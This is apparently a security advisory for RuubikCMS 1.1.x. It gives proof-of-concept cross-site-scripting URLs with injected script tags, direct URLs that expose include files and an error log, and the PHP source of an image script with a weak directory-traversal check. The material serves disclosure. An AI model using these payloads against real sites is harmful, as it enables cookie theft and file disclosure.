Ruubikcms 1.1.x – Cross-Site Scripting / Information Disclosure / Directory Traversal
source: https://www.securityfocus.com/bid/53655/info RuubikCMS is prone to multiple cross-site-scripting vulnerabilities, multiple information-disclosure vulnerabilities, and directory-traversal vulnerability. Attackers may leverage these issues to steal cookie-based authentication credentials, to execute arbitrary script code in the browser, and to retrieve arbitrary files from the affected system in the context of the affected site by using specially crafted request messages with directory-traversal sequences. This may allow the attacker to obtain sensitive information; other attacks are also possible. RuubikCMS 1.1.0 and 1.1.1 are vulnerable. cross-site-scripting: http://www.example.com/learn/ruubikcms/ruubikcms/tiny_mce/plugins/tinybrowser/folders.php?type=image&folder=&feid="/>a<script>alert(1);</script> http://www.example.com/learn/ruubikcms/ruubikcms/tiny_mce/plugins/tinybrowser/edit.php?type=image&folder=&feid="</a><script>alert(1);</script> http://www.example.com/learn/ruubikcms/ruubikcms/tiny_mce/plugins/tinybrowser/edit.php?type=image"</a><script>alert(1);</script>&folder=&feid=owned http://www.example.com/learn/ruubikcms/ruubikcms/tiny_mce/plugins/tinybrowser/upload.php?feid="</a><script>alert("AkaStep");</script> http://www.example.com/learn/ruubikcms/ruubikcms/tiny_mce/plugins/tinybrowser/edit.php?type=image&folder=&find="><script>alert("AkaStep");</script> Information-disclosure: http://www.example.com/learn/ruubikcms/ruubikcms/tiny_mce/plugins/tinybrowser/error.log http://www.example.com/learn/ruubikcms/ruubikcms/cms/includes/newsmenu.php http://www.example.com/learn/ruubikcms/extra/login/session.php http://www.example.com/learn/ruubikcms/ruubikcms/cms/includes/dbconnection.php http://www.example.com/learn/ruubikcms/ruubikcms/cms/includes/extrapagemenu.php http://www.example.com/learn/ruubikcms/ruubikcms/cms/includes/footer.php http://www.example.com/learn/ruubikcms/ruubikcms/cms/includes/head.php http://www.example.com/learn/ruubikcms/ruubikcms/cms/includes/mainmenu.php http://www.example.com/learn/ruubikcms/ruubikcms/cms/includes/multilang.php http://www.example.com/learn/ruubikcms/ruubikcms/cms/includes/newsmenu.php http://www.example.com/learn/ruubikcms/ruubikcms/cms/includes/pagemenu.php http://www.example.com/learn/ruubikcms/ruubikcms/cms/includes/required.php http://www.example.com/learn/ruubikcms/ruubikcms/cms/includes/snippetmenu.php http://www.example.com/learn/ruubikcms/ruubikcms/cms/includes/usersmenu.php http://www.example.com/learn/ruubikcms/ruubikcms/cms/login/form.php http://www.example.com/learn/ruubikcms/ruubikcms/tiny_mce/plugins/filelink/filelink.php http://www.example.com/learn/ruubikcms/ruubikcms/tiny_mce/plugins/tinybrowser/tb_standalone.js.php http://www.example.com/learn/ruubikcms/ruubikcms/tiny_mce/plugins/tinybrowser/tb_tinymce.js.php http://www.example.com/learn/ruubikcms/ruubikcms/website/scripts/jquery.lightbox-0.5.js.php Traversal vuln: ==============SNIP================== <?php // --- Image displayer with authentication // --- Sample call: image.php?f=imgfile.jpg // --- Sample call with subfolder: image.php?f=subfolder/imgfile.jpg require('../ruubikcms/includes/dbconfig.php'); $dbh = new PDO(PDO_DB_DRIVER.':../'.RUUBIKCMS_FOLDER.'/'.PDO_DB_FOLDER.'/'.PDO_DB_NAME); // database connection object require('../ruubikcms/includes/commonfunc.php'); define('LOGOUT_TIME', query_single("SELECT logout_time FROM options WHERE id = 1")); require('login/session.php'); // check if logged in if (!@$_SESSION['uid']) die("Access denied."); // images directory define('BASE_DIR','useruploads/images/'); // make sure program execution doesn't time out @set_time_limit(0); if (!isset($_GET['f']) OR empty($_GET['f'])) die("Please specify image."); if (strstr($_GET['f'], '../')) die('Error'); $fpath = BASE_DIR.$_GET['f']; if (!is_file($fpath)) die("File does not exist."); // file size in bytes // $fsize = filesize($fpath); // get mime type $mtype = ''; if (function_exists('mime_content_type')) { $mtype = mime_content_type($fpath); } elseif (function_exists('finfo_file')) { $finfo = finfo_open(FILEINFO_MIME); // return mime type $mtype = finfo_file($finfo, $fpath); finfo_close($finfo); } if ($mtype == '') { $mtype = "image/jpeg"; } header("Content-type: $mtype"); readfile($fpath); ?> ===================================== |
